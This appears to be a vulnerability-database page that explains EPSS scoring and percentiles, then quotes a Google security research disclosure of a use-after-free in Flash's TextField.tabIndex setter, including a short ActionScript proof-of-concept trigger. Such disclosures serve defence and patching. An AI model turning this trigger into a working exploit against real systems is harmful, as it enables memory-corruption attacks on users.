EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Source: https://code.google.com/p/google-security-research/issues/detail?id=574 There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows: var times = 0; var mc = this.createEmptyMovieClip("mc", 1); var tf = mc.createTextField("tf", 2, 1, 1, 100, 100); tf.text = "hello"; tf.tabIndex = {valueOf : func}; function func(){ if(times == 0){ times++; return; } mc.removeMovieClip(); // Fix heap here return 0x77777777; } A sample swf and fla are attached.
